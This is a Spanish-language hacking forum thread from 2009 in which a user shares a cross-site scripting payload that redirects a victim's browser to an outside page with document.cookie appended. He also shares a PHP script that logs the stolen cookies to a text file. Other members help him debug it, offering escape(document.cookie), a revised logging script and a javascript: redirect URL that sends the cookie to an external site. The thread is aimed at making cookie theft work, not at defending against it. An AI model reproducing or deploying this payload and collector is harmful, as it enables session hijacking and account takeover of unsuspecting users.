XSS no envia datos

Iniciado por achernar_, 27 Febrero 2009, 20:40 PM

0 Miembros y 1 Visitante están viendo este tema.

achernar_

uso el siguiente codigo:

<script>document.location='http://mipagina.com/archivo.php?x='+document.cookie;</script>



donde archivo.php contiene lo siguiente:

   1.
      <?php
   2.
      $fp 
fopen("datos.txt""a+");
   
3.
      $cookie 
$_GET['x'];
   
4.
      $salto 
"\n-----------------------------\n";
   
5.
      fwrite
($fp,$salto);
   
6.
      fwrite
($fp,$cookie);
   
7.
      fclose
($fp);
   
8.
      ?>


Pero si el archivo php está hospedado en un servidor funciona y en otro no. En el que no funciona le di todos los permisos a la carpeta (777) y a los archivos que contiene para que pueda almacenar los datos, pero solo guarda la linea punteada "$salto", porqué puede suceder esto?

cuando la pagina vulnerable se redirecciona, en la url se ve todo el contenido de la cookie por document.cookie, pero estos datos no son tomados para ser escritos
Tengo una habilidad sorprendente para hacer cosas que no sorprenden.

sirdarckcat

haz escape(document.cookie) y asegurate que las cookies sean "leibles" por javascript.

achernar_

El problema no son las cookies, porque en algunas paginas de webhosting el codigo php recibe la cadena con las cookies perfectamente, pero en otras no. Pensé que podria ser un  problema común, pero igual muchas gracias sirdarckcat.
Tengo una habilidad sorprendente para hacer cosas que no sorprenden.

niñoweb

Mira creo que vi el error.

document.location estas trabajando sobre el documento

prueba con window.location :)

osea solo cmbia la palara document por window

:)

sirdarckcat

jajaja eso no tiene nada que ver..

WHK

Hay algunos servidores gratuitos y otros de pago donde por defecto traen un filtro bién pobre y molestoso, por ejemplo si usaste una variable llamada "act" en get entonces no te funcionará porque lo mas seguro es que te aparezca acceso denegado (asi pretenden evitar  una c99  :rolleyes:), en ese caso trata de cambiarlo. Intenta hacer pruebas tu mismo y haz esto:

Código (php) [Seleccionar]
<?php

 
die('Test: '.nl2br(htmlspecialchars($_GET['x'], ENT_QUOTES)));

 
$fp fopen("datos.txt""a+");
 
$cookie $_GET['x'];
 
$salto "\n-----------------------------\n";
 
fwrite($fp,$salto);
 
fwrite($fp,$cookie);
 
fclose($fp);
?>


Luego vas probando...
Citarcookies.php?x=prueba
Te debe aparecer "prueba", luego intentas con una cookie y vas a google y escribes arriba tu redirección y vas viendo que te aparece:
Citarjavascript:document.location='http://www.miweb.com/cookies.php?x='+document.cookie;

Si te aparece biéne toda la cokie y las demás cosas en cookies.php entonces significa que tienes rpoblemas al escribir sobre el archivo, intenta reemplazar "a+" por "x" en el fopen.